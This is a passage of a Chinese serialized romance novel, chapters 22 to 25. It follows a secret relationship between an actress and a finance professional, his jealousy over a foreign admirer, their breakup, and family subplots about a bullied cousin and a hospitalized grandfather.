“嗯,会。”程知聿大掌托着她的掌心,另一只手指尖沿着纹路往掌根移动,像一队蚂蚁带队行军,危涞抽不开手,一直等到他画完整个掌心,
骗人。
她骄傲偏过头。
心却慢慢软下来。
两人同时听见门外的声响,康贻回来了。
危涞肉眼可见地慌乱,“你躲到哪里?”
“……”程知聿无奈,康贻的反应不可能不知道他们之间有点什么。
不然还找什么理由出去买药。
“一定要躲吗?”有点狼狈。
“还说什么?快点躲呀!”他们两个人在房间里还反锁门,怎么看都很可疑吧。
程知聿被赶着躲进浴室,无助极了。
其实大方走出去也没什么,康贻这么大了,该懂的早都懂了。
而且不是也见过危涞父亲了吗。
但如果让姑姑她们知道......
还是算了,程知聿头疼。
危涞是绝对不想让他们家任何人知道两人的关系,程知聿奶奶逼他结婚逼得紧,知道了说不定就要叫危涞改口。
她和他又不一样,他们又不是男女朋友要谈婚论嫁的关系,朗禄知道程知聿存在又如何,他心高气傲,只会把他当作玩玩的对象。
“别出声。”危涞再次提醒。
“...知道。”
她整理好衣服又把窗户打开通风,这才装作没事人,“嗒”,门锁被打开。
门被人反手关上。
她的语气极其沉着,不愧是站在舞台上演戏的人,“你哥呢?”
像只高傲的狮子巡视自己的领地。
康贻提着一袋子药,五花八门什么都有,沉默住了,她的房门紧锁,敢说里面没点奸情吗。
“躲起来了吧。”康贻漠不关心,咬着一根冰棍。
危涞批评她,“这么冷的天就不要吃冰棍了。”
对身体不好。
康贻在心底反驳,“要不要看看她那一冰箱的冰可乐呢?”
他们的返程定在第二天下午。
康贻大包小包,都是危涞给她买的乱七八糟什么都有。
“今晚你在家吗?”程知聿指间缠着一抹短发,绕了几个圈。
大约在吧,他们走了,危涞要约边子瑜吃火锅。
不然习惯了热闹一个人在家还真有点冷清。
程知聿低应了一声。
她乘着最后的机会,还是把康贻不愿意去上学的原因告诉了他。
“知道了。”程知聿听完,盯着表妹那头短发,“我会和姑姑说明白的。”
22. Chapter 22
程知聿走了,留下一个丑丑的木雕夜灯。
危涞捧在手心里翻来覆去地看,这实在算不上一个漂亮的装饰品,做工粗糙,送给别人甚至会被问“你要给我多少钱”的程度。
边子瑜只当她有恋丑癖,这么丑的玩意也值得发朋友圈。
危涞刷新再刷新,看到那人的头像出现在通知栏,勾了下唇。
事出反常必有妖,“谁送的?”
总不可能是她自己买的。
“一个朋友咯。”危涞敷衍地答,暂时还是不要让边子瑜知道。
她越是掩饰,边子瑜越觉得不对劲,什么朋友她没见过,她忽地皱眉,“不会是程知聿吧?”
危涞仰头喝了一口可乐,没说话,莫名有点心虚。
“你真是脑子进水。”她不懂程知聿有哪里好,值得她念念不忘。
危涞梗着脖子反驳,“哪里有念念不忘。”不过是成年人之间各取所需罢了,她又没给男人花钱,哪像边子瑜,钱都拿去养男人了。
边子瑜还要开口,听见门铃声,没好气瞪危涞一眼,打开门,是个穿黑色西装制服的男人,他朝着边子瑜礼貌一笑,“您好,是危涞小姐吗?”
“这是程先生送给您的礼物。”
恰不逢时啊。
原来他问她晚上在不在家是因为这个。
危涞用抱枕蒙头,听见边子瑜破口大骂:“带着他的破包滚出去!”
这个包最终还是被留下来了。
是很难买到的经典款,边子瑜气压很低,“拍照啊,怎么不拍了?”
她到现在气的已经不是危涞和那位还有联系,是她藏着不告诉自己,她和程知聿究竟谁更重要?
“当然是你重要。”危涞不假思索,她都藏着了,不就说明没有重要到带出去见人的程度吗。
边子瑜要是大房的话,程知聿充其量只能算得上是路边的野花。
她是人老珠黄的大房,他是路边鲜艳欲滴的娇花?!
边子瑜气极,当场就要提包走人。
越描越黑,索性闭嘴。
除此之外,危涞还很烦恼,程知聿出手阔绰,她分币不花,是不是太小气了?
而且,盯着半开礼盒的包,他送她这么贵的东西以后她要怎么和他平等相处。
总觉得有种被包-养的既视感。
边子瑜还是生气,咬下最后一颗牛肉丸把烂摊子留给危涞。
头疼,反正最后也是交给阿姨。
意料之外,康贻回家之后,没有受到父母的批评。
大家都把她离家出走这件事当作没有发生一样,仍是用平常的态度对待她。
康贻一度怀疑,难道她离家出走,还去京市玩了一遭都是幻觉吗?
可是细节骗不了人,她发现爸妈的房间总是在深夜传出抽泣声。
手里抓着危涞买的毛绒玩偶,触感真实,她捏紧手指。
这些都不是假的......
周一,她像往常一样整理好书包准备上学,换好鞋子出门,却被程萍拦下来,“你去哪里?”
她好奇怪,去上学呀。康贻着急忙慌,周一要升旗,再不走就来不及了。
“爸爸妈妈......准备给你换一个学校。”程萍忐忑说出这个结果。
康贻推门的动作停了,她就知道没这么好,他们一定是要把自己送到寄宿学校去了!
“我不要去寄宿学校!”她的声音里已经有了哭腔。
“不是送你去寄宿学校。”程萍安抚她,眼眶微微红了,“我们想把你转去一所更好的学校,不住校。”
康贻的肩膀颤抖,在心底骂危涞不守信用,她明明答应过自己谁也不会说的!
“康贻你听我说。”程萍扶住女儿的肩,害怕她情绪激动再一次逃跑,“爸爸妈妈反思过了,是我们的问题把你逼得太紧,青春期对异性同学有好感很正常,你不要觉得不好意思。”
“我和你们老师聊过了,这些同学把你的情书...呃...表达好感的纸到处传播也是不对的,你不要太紧张。”程萍惭愧,直到现在才知道女儿不愿意上学的原因,他们一直以为是康贻不听话,没想到在学校里受了欺负。
他们的女儿从小被捧在手掌心里长大,怎么受得了这种委屈,“情书”被人四处传阅,批评她的言论从样貌上升到家庭,程萍想告诉女儿,她是勇敢的,她什么都没有做错。
可惜她从来不知道女儿受了欺负,程萍偏过头,努力压下泛红的眼眶。
康贻吸了吸鼻子,这些事情被爸妈知道尴尬极了,她就是被人说像“假小子”才一气之下把头发剪短了,她一直觉得爸妈不理解自己,可他们真正开始理解,她又觉得窘迫,有点肉麻......
上初中的小孩还是有着孩子气性,只能怪罪不遵守约定的人,“我和你说,哥哥早都有对象了。”
程萍听见消息,惊诧抬眼,“真的假的?”
程知聿被姑姑追问了几天,“你究竟有没有对象?有就带回来看看,也省得我总是替你张罗。”
他分明还叮嘱过康贻,不要说漏嘴。
这情况,还不如把她送去寄宿学校。
他说她忘恩负义,她骂他妇唱夫随。
好在还有点良心,没把对方是谁说出来。
这一下倒不催着程知聿找对象了,天天催着他把人带回家。
他往来京市频繁,连纪成安也生了疑,好不容易拦住他,“你最近有这么忙?”
约了几次都没成功。
这次是程知聿第一次在聚会时背着他们接电话,男人的第六感在这种时候格外灵敏。
纪成安对着向仲明努嘴,“去不去?”
向仲明一手撑着头,唇语:“自己去。”
都多大的人了还偷听别人打电话,有没有点品德。
自己去就自己去,纪成安一个箭步翻过软皮沙发,一墙之隔,听得聚精会神。
程知聿也是第一次当老师,念书的时候爱闯祸被老师大骂:以后千万别走上教书育人的行业,也别传出去他有这么几个学生,简直丢脸。
听时没放在心上,他大概也没有机会误人子弟。
现在却泛了头疼。
危涞开始对金融感兴趣,她大学学的专业和这并不相关,如今要学只能是自己一步一摸索,纯理论的东西理解起来很难,比她的剧本枯燥千遍万倍。
偏偏她精神可贵,爱问问题也就算了,还喜欢给程知聿出难题,都是些生僻无从考究的题目,等程知聿找出答案告诉她,她还一脸茫然:“我什么时候问过这个问题了?”
程知聿沉默,却也拿她没办法,算了,她说什么就是什么吧。
今天又是解答时间,在他和向仲明他们喝酒的时候。
他不动声色起身,“我去接个电话。”
纪成安悄悄跟在身后,什么电话不能当着他们的面接?
没过多久就无趣的返回,净讲一堆乱七八糟他听不懂的话。看纪成安回来时的表情,向仲明已经知道结果,笑着换了个姿势。
他们都是老实孩子,哪有什么八卦可听。
这话要是被纪成安知道要竖起中指鄙视,他们三个人里属向仲明最不老实,谁不知道他从小学开始早恋,换女友比换衣服还勤,他纯?
纪成安至今认不清楚他每一任女友的脸。
“听明白没有?”程知聿掰开揉碎了和危涞讲。
“还是不懂。”她大咧咧躺着,看着亮晶晶的手指头,也不知道究竟认真听没有。
“等我晚点给你录个视频......”程知聿声音一顿,听见她那边传来陌生的年轻男人声音,“小涞,吃饭了。”
男人的声音带着笑,说话的语气听起来和危涞很熟悉。
危涞拉长声线,“来啦——”,很亲昵的样子。
只有程知聿都没有等到她的回答,就被匆匆挂断了电话。
他一个人愣在原地。
心里有点说不出的苦闷。
原来这通电话是危涞当着别人的面打的。
他叫她小涞,而他却在有人的时候只能躲在她房间里,连脸都不能露。
待遇差太大了。
他不在意吗?
她和谁通话这么久,究竟是不把通话对象放在心上还是笃定危涞不会离开他。
程知聿陆陆续续想了很多。
看着手机里和导师的聊天记录有点想笑。
他什么时候沦落到这种地步了。
危涞听到最后一句,程知聿说要发视频再给她讲一遍,她直到睡觉前都没有等到。
恰巧收到另一条短信,亮晶晶的手指在手机屏幕轻点,“以后就不麻烦你给我讲啦。”
她有了新的
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老师。
程知聿是被抛下的那个。
此后几天他不再主动给她发消息,他也很忙,有自己的事情要干。
但这是程知聿第三次走神,这次参会依旧是他带着唐凌,经过上次的相处,唐凌更熟悉也就更随性,夹着一只笔翻转在手指间。
“......”会上所有人把目光投向端坐着的英俊男人,西服笔挺,眉眼生疏。
轮到他发言了。
唐凌悄摸提醒,这才让程知聿回过神,他干涩地笑:“抱歉。”
之后的流程就走的很流畅了。
只有唐凌注意到身旁的人一直在走神,到茶水间给他冲了被咖啡,疑惑地问:“最近很忙吗?”
他记得这周程知聿并没有出差的任务,那是没睡得好?
怎么黑眼圈这么重。
程知聿把苦涩的咖啡一饮而尽,苦笑,没说话。
他不找危涞,危涞就更没空找他。
抽空回了趟英国给Kurt帮忙,他们有个女演员临在开演前两天摔断了骨头,好在这个角色危涞很熟悉,磨合几个回合下来已经能做到大差不差。
Kurt心疼她:“又瘦了。”
危涞翻翻眼皮,怎么和她外公外婆一样。
她手里拿着个三明治翻书,Kurt意外:“你什么时候变得这么努力?哇哦,《一分钟经理人》,你要入驻华尔街?”
危涞不可置否,“马上你就要见证一位伟大中国女企业家的诞生。”
Kurt连连惊呼,告诉她一个消息:“对了,今晚的聚餐Harris也会来。”
“你喊的?”危涞皱眉,她实在无心应付他。
“哪有。”Kurt挑眉,“明明是wren你魅力太大,他知道你回英国当然会来。”
“嗨~”说谁谁到,Hurris卷发在耳后扎了个啾啾,亲昵地凑上前,被危涞一巴掌推远。
“保持距离。”
Hurris立刻摆出一副心碎模样,“好狠的心喔。”
危涞冷漠望着Hurris深邃的眉眼,不由想到在国内的某人,他们是两种完全不同的风格,说来奇怪,自从那天之后程知聿就很少给她发消息了。
不过她发过去的消息他还是一条不落的回复。
演出很顺利,谢幕的时候所有演员上台致谢,危涞有些紧张,还好在家没放纵太多,不然上镜不知道得胖成什么样。
聚餐的时候全组人员一起拍了合照,Hurris个不要脸的无关人员非得笑眯眯地挤在危涞旁边,像变魔术一样从身后变出一支玫瑰。
照片定格在这一瞬间。
危涞皱眉,为了拍照效果看起来却是惊喜。
像在求婚一样......
同组演员把照片发在社交平台,甚至爬上只有几个粉丝的微博,危涞安静地想:“反正没人看得到。”
况且这张照片把她拍得挺好看,到时候把Hurrisp掉,简直完美。
康贻换了学校,整个人开心不少,这天写完作业靠在沙发上玩手机,刷新后突然跳出一张合照,她随手点开,瞠目结舌。
照片偏左的位置,头发扎着小啾啾的漂亮外国人正举着一朵玫瑰花求婚。
求婚的对象......
她咽了口唾沫。
手一抖就转发给了她哥。
康贻赶快撤回,总觉得这样对危涞不好,但一想,明明她哥才是受害者,他快三十了!不能一辈子当小三吧!
于是被人撤回的那张照片又出现在聊天框,她还是焦虑,所以数了一分五十五秒后撤回,看不看得到就算哥哥的运气了。
程知聿刚合上电脑,疲惫地揉着眉心。
手机弹出对话框,很快被对方撤回,他没放在心上,康贻常常会有这样的时候,把自认为很好笑的段子转发到家族群里,最后又道歉说“手滑发错了”。
没多久,她的消息又出现在聊天框。
是一张照片。
程知聿手指慢慢捏紧,唇泛出死一样的白色。
视线长久地停留在照片里那个惊讶、欣喜的短发姑娘脸上,她的身边都是人,所有人都在庆祝这一刻。
“以后就不麻烦你给我讲啦。”程知聿突然想到她给他发的这条消息。
她当然不需要他了。
他苦涩地想。
23. Chapter 23
除了照片里这个金发碧眼的外国人,还有电话里那个喊她吃饭的男人。
剩下还有没有别人,程知聿不知道。
他捏紧手机。
嫉妒。
是一条永不止息的河。
他站在这个位置上,却没有一个能宣泄情绪的身份。
分明是她先引诱他的,凭什么毫无顾忌地脱身。
程知聿混乱地想。
说来她的命还是他救回来的,心里有了这个念头,然后疲倦的眸子里很轻地亮了一下。
他总还算有点优势。
唇边勾起自嘲的笑。
康贻撤回的消息程知聿没有回复,也没有询问她到底发了什么,就这么不咸不淡地晾在哪儿。以至于康贻感到郁闷,她有这么透明吗?
旁敲侧击问了几次,发现他确实不知道也只能默默放弃。
人各有命,可能她哥的命就是当三吧。
康贻绝望地想。
事实是,在她看不到的地方,男人的手握得死死的,表情却一如往常的平静,微笑:“别问那么多乱七八糟的,作业写完没。”
康贻“嗷”一声,果然不再多话。
“最近很忙吗。”危涞收到这条消息时是下午六点半,换算到国内就是凌晨一点半。
“有点。”
她才回了一条就被Kurt喊走,再拿到手机已经是洗完澡准备休息,点进未读消息里,才发现程知聿几乎是秒回,“注意休息。”
简直莫名其妙。
到底是谁要注意休息。
她敷上面膜睡觉,次日还要转另一个城市演出。
这是最后一场戏,危涞中场休息时看见为了抢男朋友和她打架的Marry,她本来就没想打招呼,对方看见她也只是冷冷一瞥,当作不认识。
这样最好,危涞耸肩。
这么多年过去,要还是把那事记在心上才是真的幼稚。
她没想到的是,Marry还真有这么幼稚,当天晚上的聚餐危涞没去,隔天就被告诉Marry借着酒精发作,把那天的事情事无巨细地说了出来。
在她的故事里,危涞成了彻头彻尾的反派角色。
酒馆后巷,情意浓浓,女友发现,落荒而逃。
危涞听见Kurt夸张的描述,扶额,看来Marry还在计较,一个人添油加醋,胡乱把她从没干过的事也安在危涞头上。
Kurt只觉得好笑,“没想到你还有一段传奇时光。”
她只希望这件事别传到边子瑜耳朵里,两个八婆,她知道了怕是要嘲笑危涞一辈子。
Kurt送危涞登机,绅士地替她扶好行李箱,突然提起:“有个导演企划拍一档纪录片,你有空给我帮忙。”
“我可不打白工。”危涞疲惫。
“什么时候亏待你了?”Kurt好笑,“”一路顺风。”
“知道了。”她随口应下,举着机票同他告别。
等空乘铺好床,危涞裹着毯子昏昏欲睡。“小姐,您是不是坐错位置了?”流畅的美音,危涞脑子混沌,回过神才发现他在和自己说话,转头间。
眉心皱起,她坐的明明是自己的位置。
好在空乘很快给这位男士带位。
他随即不好意思地道歉。
危涞实在困顿,又闭上了眼。
临下机前她才反应过来,找错位置的这人格外眼熟,好像是.......
危涞瞪大眼睛
在连廊拦住这位穿西服的男士,“能不能给我个联系方式?”
对方也楞了一下,很快礼貌微笑,从口袋摸出名片。
摸着那张烫金名片,危涞讶异。
啧啧,不愧是精英。
在家休整了几天危涞才记起十五号是边子瑜生日,戴了顶鸭舌帽懒得化妆出门给她挑礼物。
VIP室里危涞伸出亮晶晶的手指头,“就这个吧。”
却听见吵闹声,是从外面传来的,她探头问:“外面怎么了?”
这样的事情在店里每天都会发生,她们见得多了,实在不好意思打扰了vic顾客,sales连声抱歉:“门外的顾客起了争执。”
危涞本来没放在心上,听见熟悉的女人说话:“还要多少才能买到这个包?”
她微一皱眉。
“我出去看看。”
穿绸制长裙的女人头发打了个绺结,地上一堆盒装的摆饰。
“真的非常抱歉,薛女士,咱们这个包真的没有货呢,那边的自行车、麻将机家里有需要吗?”
薛莹甫一叹气,“能不能告诉我个底?”
“不好意思女士。”她的sales依旧笑眼相迎,“咱们这款包真的没货呢。”
看见危涞从vip室走出,立刻迎上去,“今天的购物体验还好吗?”
危涞懒懒抬眼,“还好。”
没想到在这撞见危涞,薛莹尴尬,和她打招呼,“小涞。”
“原来两位认识。”sales笑道。
危涞没回她,手指撩过擦得透亮的玻璃柜台,“她要什么包?”
“birkin鳄鱼皮。”
薛莹脸白了一瞬,“我下次再来。”
“有货吗?”危涞轻飘飘地说。
“有,有的。危小姐您要什么颜色?”sales态度很热情,和对薛莹时是截然不同的态度。
穿长裙的女人望向危涞,眼里闪过光点,她要帮她买包?
“都拿出来看看。”她又被请进vip室,对薛莹微微一笑,“阿姨也进来吧。”
薛莹大喜,跟着走进去。
sales戴着手套把包小心摆好,退开一步,恭敬地介绍。
“阿姨想要哪个?”危涞眉眼弯弯,撑着下巴问。
“黑银。”她很欣喜,有了这只包,在太太圈里总算有说话的空间。
危涞笑,好招摇,“这样呀。”
“那给我拿一只黑银送去铂悦公府。”
铂悦公府,危涞小姨危景娴的家。
女孩子嘛,总希望在平常的日子里收到惊喜。
薛莹脸色骤变,五彩纷呈,明白她是来给自己找不痛快的,“你…这是什么意思?”
“好了,剩下的收回去吧。”刷的是朗禄给她开的卡,她很穷的好伐,给边子瑜买礼物已经花了好多钱啦,自己的钱要省着点用。
她轻松地拎起东西起身,薛莹被请出vip室,望着危涞离开的方向,脸色煞白。
危涞慢悠悠把
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车开进小区,停进车位。
她手上提着碗鸡汤小馄饨,在单元楼门禁外望见一双修长的身影,长身鹤立,危涞咂舌,一定是楼下某个小明星的爱慕者,她常常看见她的爱慕者无论风吹日晒,准时准点抱着鲜花在楼下等待。
看来得和物业说一声,不能把什么人都放进来。
她盯得入迷,没注意那人优越的眉眼含笑望了过来。
她略一沉默,遂弯弯唇角。
原来是她的追随者。
“你等了多久?”危涞惊喜,笑着上前接过那束“花”。
“没多久,打呼叫铃没接正准备走。”程知聿低头,凝视她不着脂粉的脸颊,他看着她柔软的唇角弯起,滚了喉咙。
半点不提自己从傍晚等到现在。
喔,好吧,是她想多了,大忙人怎么有空在她家楼下浪费时间。
“怎么不给我打电话?”
程知聿别开视线。
他怕她在干别的事。
危涞接过东西觉得好笑,人家见面都送花,怎么到他这就成书了?
挑眉盯他。
“什么意思?”
程知聿说:“这是我导师推荐的入门书,你有空可以看一看。”
“千里迢迢就为了送我一本书呀?”危涞贴近他的身体,撒娇一样抱住男人有力的手臂,来回晃动几下。
“不是。”他被她的小动作惹得心痒。
“嗯?”
那是为了什么。
“是我临时到京市出差想起你在,所以给你带过来了。”他的回答冷淡,全然不说自己向公司主动申请的事情,不动声色地把手臂从危涞怀中抽出,似乎这样说就能让自己心里舒服一点。
好无情,说点漂亮话哄人都不会。
危涞耸耸肩,“上去坐坐?还是你有事情急着走。”
“......”他刚想说话,旁边的草丛蹿出个人影。
高大的个子,可怜兮兮地控诉她,“Wren你怎么才回来!”
这人的头发在脑后扎起,深邃碧蓝的眼睛,手里抱着一束娇艳欲滴的花,“我在你家楼下等了好久!”
气氛、莫名的有点尴尬?
真收到花了,危涞又不愿意,“你怎么在这?”
危涞这时记起了手里提的鸡汤小馄饨,面皮早已经浮囊,她好疲惫,能不能随便掉个炸弹下来把她炸晕?
要求全身上下不得受伤,脸撞小一圈,无痛增高五公分,以及获得永不长胖的无副作用后遗症。
“我想你嘛,就偷偷跟过来了。”Hurris依旧狗皮膏药,“这个男人是谁?”
危涞只能祈求程知聿听不懂,松开程知聿的手慌乱道:“你给我几分钟。”
程知聿很有当三的自觉,平静地退开一步到小花园,手抖了几下没把烟点起来,踩着脚下唯一的那点光亮。
他真是贱得无药可治。
明知道人家求婚成功还是赶着凑上前来。
口袋里的手机亮了一下,是危涞给他发的消息:“我马上回来,你上楼等我。”
后面是她发来的电子密钥。
心里堵着一团泡涨的棉花,他漂亮的眼睛盯着手机屏幕上仅一行简短的文字,很久很久,直到自动熄灭。
24. Chapter 24
危涞好不容易给Harris安顿下来,嘱咐他订第二天回国的机票,天老爷,这家伙在巡演期间跑出来脑子真的没问题吗?
要是被导演发现,他们两个都得被批个狗血淋头。
心里还是忐忑,说实话她感受到程知聿今日态度冷淡,虽然不知道什么原因,但总觉得不对劲。
她当着程知聿的面收下别的男人送的花,换做别的男人早该发火了,还好还好,程知聿接受能力强。
危涞想着,打开门,满屋的黑暗席卷着冷清朝她袭来,她怔住。
那捧鲜花被人插在桌上的花瓶里,花朵上带着晶莹的水滴,可见用心。
想也知道。是程知聿做的。
但更怪异了,危涞皱着眉头,画了一半没后续的拼贴画,桌上摊开的剧本,没有收起的零食袋,全部归位,就连衣帽间里丢得乱七八糟的衣服也被人耐心地分门别类。
“......”危涞的道德受到谴责。
她是混蛋吗?一定是的。
这种感觉就像在外花天酒地的男人回家看到被妻子收拾得一尘不染的房屋,区别是,危涞还会觉得不好意思。
她默然想起,程知聿来京市接康贻的那天,把她换下的床单被套也一起洗了。
还有。
她曾经承诺过要赔给程知聿的那本一直没有消息的书,好像是英文原版......
危涞暗自期盼他不懂得Harris说的那几句话的意思,这下是真的绷不住了。
谁能来救救她,程知聿是来当田螺姑娘的吗?
危涞还是心虚地拨通他的电话,接得很快,“你在哪呀?”
“楼下。”
程知聿手里提着东西,看见危涞的表情,反倒显得格外平静,“怎么了?”
危涞去拎他手里的袋子,摸摸鼻子,“没什么。”
看见熟悉的内容物,再收敛不住表情,居然是她心心念念没能吃到的鸡汤小馄饨,“你去买的?那个袋子是什么?”她说的是程知聿另一只手的购物袋。
他不着痕迹把东西往身后藏,眉眼很淡,回答却是上一个问题,“嗯,不远。”
危涞带回来的那份馄饨已经糊的没法吃。
今晚上乱七八糟的事情太多,危涞早就饿得前胸贴后背,打开包装袋吃了个干净。
懒懒瘫在椅子上打了个饱嗝,撑着脑袋看程知聿打扫,实在赏心悦目,“爱妃,今晚可否侍寝?”
那道修长的身影停了一下,抬起幽幽的眼睛,“好啊。”
危涞被赶去洗澡,脑袋晕晕乎乎,想起程知聿的表情,嘴角在笑,眼睛又是不笑的,清清淡淡看着她,分明和之前没两样,却又让人很清楚地觉得就是不同了了。
她呆在浴室磨蹭,裹着浴巾发消息,头发落水划过锁骨间,镜子里的人肤色透亮,唇色泛起淡红,乌睫沾着水色无辜的垂下。
门被礼貌地敲响,“可以进来吗。”
“进来吧。”
得到了允诺,男人高大的身子挤进浴室,站危涞一个人多有空余,加上程知聿就让人觉得逼仄。
温暖的沐浴乳味弥漫在两人之间,冰凉的手不经意划过脖子上的软肉,她躲了一下,程知聿自然地接过毛巾替她擦干头发上的水汽,比她自己要细心得多。
隔着松软的毛巾,他的手指顺着耳廓揉住危涞的耳朵,是很正常的动作,替她擦干耳朵的水,揉上耳垂的那一刻,身体轻轻地震颤,她不禁回头望他,眉眼低压,态度认真得像在对待艺术品。
危涞手臂发麻,总觉得这动作不是第一次。
他干劲利落,手指在耳垂停留的时间也不过几秒钟,毛巾被丢在衣篓里,取下吹风机,她的发丝穿过指缝之间,风速和温度被人调到最佳,危涞透过镜子看他,他的视线却落在自己身上,优越的眉骨,高挺的鼻梁,浴室暖的暖光给程知聿蒙上一层柔和的色调。
视线向下,危涞记得他唇的触感,软和得像滑溜溜的布丁。
转身,手指抓住男人一丝不苟的领带,稍一用力就贴上他冰凉的唇息,带甜味的花香将他包裹住,步步试探,步步逼近,谁的利齿咬在唇上,引得危涞不满呢喃。
温度又被调高。
沾染水色的岛台上被铺上一件西装外套,随后,危涞被强硬地抵上,左手游离在滑腻的小腿之间,右手已经迫不及待揉上她鲜红的耳垂,他的吻来势汹汹,直到危涞喘不过气才稍微退开,唇边染上水色,眼下渲起红晕,却还是贴心地抱住她的双腿。
与其说是抱,这个动作...倒不如说是举着,危涞光-裸的手臂环住男人的脖子,浑身都红了。
太羞耻了...这个动作从她上小学起就没人再对她做过。
“可以吗?”程知聿红着眼睛问她,收到一记坏脾气的冷眼。
“再问就滚出去!”她全身红成虾子,光洁的手臂挡着眼睛。
危涞听见很轻的笑声,脸更加红,从未在人前有过这样的难堪。
程知聿在她面前解开领带,第一颗衬衫扣子,露出藏在下面的皮肤,危涞惊讶的发现,原来他也没比自己好到哪去。
她有些口渴,看着程知聿晶莹淡色的唇,咽了口口水。
他长得实在好看,没有世俗的土气,相反,沉着又安定的气质之间还夹杂着几分落拓,只是危涞看不懂他此刻的表情。
像藏在江南渺茫的烟雨声中,凄凉悲怆。
她想,他的母亲一定生得极美。
可她从来没听程知聿提及过家里长辈。
他的领带一圈圈缠绕在危涞脉动的手腕间,主人有着别样的风情,在结尾留了个蝴蝶结。
“等等。”危涞想起一个很重要的东西,“要喊外卖吗?”
程知聿顿了一下,从外拿进一只袋子,里面装的赫然是她想的东西。
看见五颜六色的包装,危涞皱了眉头,刚才那点温存的气氛一点消失不见,她冷声道:“什么意思?”
他又是打扫卫生又是插花,甚至不怕麻烦去买回那一碗她爱吃的小馄饨,从头到尾的目的只有这一个?哄了她开心然后就可以如愿顺其自然地做了?
怪不得见她收下别人送的花没有一点起伏。
不过也是,要是像正常人一样有反应才奇怪。
危涞气不过,虽然后来是她发出的邀请,但他早有预谋的行为把她当作什么了?
哄开心了就可以上床?
想到那个昂贵的包包和香水,如坠冰窖,她不懂他,装什么清高?
嫖费吗?
从心底泛出恶心,亏她还觉得亏欠,程知聿又算什么好东西?
五颜六色的包装被人狠狠砸出,滚在地上一地都是。
她大骂道:“你真是畜生。”
连带着那个未开包装的奢
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侈品和那瓶香水,她一并还给沉默的男人,“我们的关系到此为止,以后不要再联系。”
程知聿没伸手接,沉重的包装就被人丢在地上,像丢垃圾一样,连带着他的自尊心。
他实在茫然,这些不正是危涞想要的吗。
她对他的喜欢本来就肤浅,他有的,能给的全部都给了。
程知聿没有权力干涉她的感情,她的消息甚至是从康贻嘴巴里知道的,他这次来见她藏着一点点希望,或许危涞就能把事情讲清楚了呢?
她决口不提,依旧在那个外国男人面前把他抛下。
他也是有底线的,怎么会纵然危涞一次次刷新。
她说的,关系结束就结束吧。
反正也是两个世界的人。
程知聿走了,什么都没有带走。
这段关系的开始是她提的,结束也是她提的,这样就很好,谁也没有亏欠什么。
程知聿的生活又回到两点一线,他闭口不提这几天发生的事情,有空的时候就去向仲明的酒吧坐坐,不过大多数时间都是在出差的路上。
奶奶心疼他,总会在深夜里端来一碗热乎乎的甜汤,他宽慰林秀禾,“马上到公司考核,所以很忙。”
他编织的谎话太真实,连程知聿自己也相信了。
这样生活一段时间,直到康贻点破,悄咪咪地靠近,“哥哥,你最近都没有去京市了耶。”
程知聿恍惚一瞬间,很快回到他平静的面壳之下,“没有出差的任务我去做什么?”
天南地北,为什么要来回奔波。
康贻像明白了什么,再也不提这件事。
姑姑又开始帮他张罗相亲。
——
他留下的东西实在碍眼,危涞要阿姨把它们清理掉,阿姨常年在有钱的少爷小姐家忙碌,自然也知道这些东西的价格,她心疼:“真的要丢掉吗?”
好歹是真金白银买来的。
“随便怎么处理,你喜欢的话就拿去。”危涞卡壳一下,终究没把这句话说出口,显得她太不知道人间疾苦了。
索性寄了个快递去溪江,眼不见心不烦。
“喂——”危涞接到了小姨的电话,她近下午时间才醒,顶着乱糟糟的头发,“怎么了?”
“你的包送错地方了?”
危涞敲敲脑袋,昨晚上熬到凌晨才睡,“就是送给你的,最近在家带小孩辛苦了。”她没说刷的是朗禄的卡,危景娴不会要的。
对面笑笑,危涞听见两姐弟的声音,围在小姨旁边吵吵闹闹。
危景娴走进房间,关上门,“你最近没什么事吧?”
“怎么了。”危涞不解,咬着吸管喝冰水,她能吃能喝好得很。
“还以为你真谈了个外国男朋友。”
危涞这才知道,被同事随手发上微博的照片居然起了一小波流量,不少人留评祝福。
“......”危涞再次重申,“我真的对外国人不感兴趣,小姨。这都是他们乱发的。”
爱凑热闹的吃瓜群众,连实情都不清楚就祝福。
门外两小只找不到妈妈在哭,危景娴草草挂断电话,“下回见面说,谢谢你送的包,我很喜欢。”
危涞皱眉,养小孩真麻烦,连自己的时间都没有了。
她这几天上课上得头昏眼花,接到这通电话还以为自己在做梦,男人的声音传过来。
25. Chapter 25
她醒了醒脑袋,这才抓上车钥匙跑出门。
医院里凌冽的消毒水味尤其让人感到不适,危涞皱眉推开门,看见吴嫂正削苹果。
“吴阿姨。”
“欸,小涞过来啦。”
病床上的人赶紧闭上眼睛,危涞看见了,重重把包丢下,“活该。”
谁叫他演那么一出戏骗人,现在好了,伤筋动骨一百天,还打什么球,干脆把门球场搬到病房里来,让他的老朋友现场直播打给他看。
朗岐山只闭着眼睛不说话,呼吸绵长,拐杖放在床头边,脚高高吊起。
危涞冷笑,看不出爷爷还是个老戏骨。
“我走了,不打扰您睡觉。”她这么说着,同吴嫂交换眼神,吴嫂上道地点头,“有我在这,你放心。”
朗岐山听见关门的声音,悄悄睁开一只眼睛,恍见孙女嘲笑的眼神和吴嫂眼里无奈的笑,又迅速闭眼。
知道装不下去了,老人眼尾的皱纹深深,“哎呦、哎呦。”一副刚睡醒的模样。
“小涞来啦——”
颇为心虚。
孙女却是不留情面,“怎么摔的?”
“现在的年轻人真是的,骑车不看路,我好端端走着路呢,突然从旁边蹿出来......”
“吓你的人呢?”
“算了算了,我哪能和小孩子计较。”
台词功底还得练,危涞笑:“我可是听说是在球场摔到,还是张爷爷打的救护车。”
朗岐山尴尬,皮孩子,都知道了还要下套诓他。
“朗禄呢。”
“今天下午有个重要的会,他还在忙。”
“那薛莹呢?”危涞好笑,她这么忙前忙后,今天倒没出现在爷爷的病床前。
“小薛在家里熬骨头汤,本来是我该干的事情,真是麻烦她了。”吴嫂笑,将苹果皮丢进垃圾桶,“我看小薛这姑娘是个实在人——”
她见危涞表情不对,生生闭了嘴。
吴嫂懊恼,她这脑子,有哪个女儿能和继母相处得好?
“你和小齐相处得怎么样?”朗岐山问。
“挺好的。”危涞很敷衍,这么多年没见,说不上多亲近,最多是在课后留他吃饭。
虽然饭也是人家做的。
朗岐山点头,“有机会就多接触,他比你大一些阅历也就多一些,你跟着他总能学到东西,记得小时候,你还那么一丁点大,整天追在人家屁股后面喊小齐哥哥,说什么,长大要嫁给他。”
他慈笑,头发花白,眼尾的皱纹层层叠叠。
哪跟哪呀。
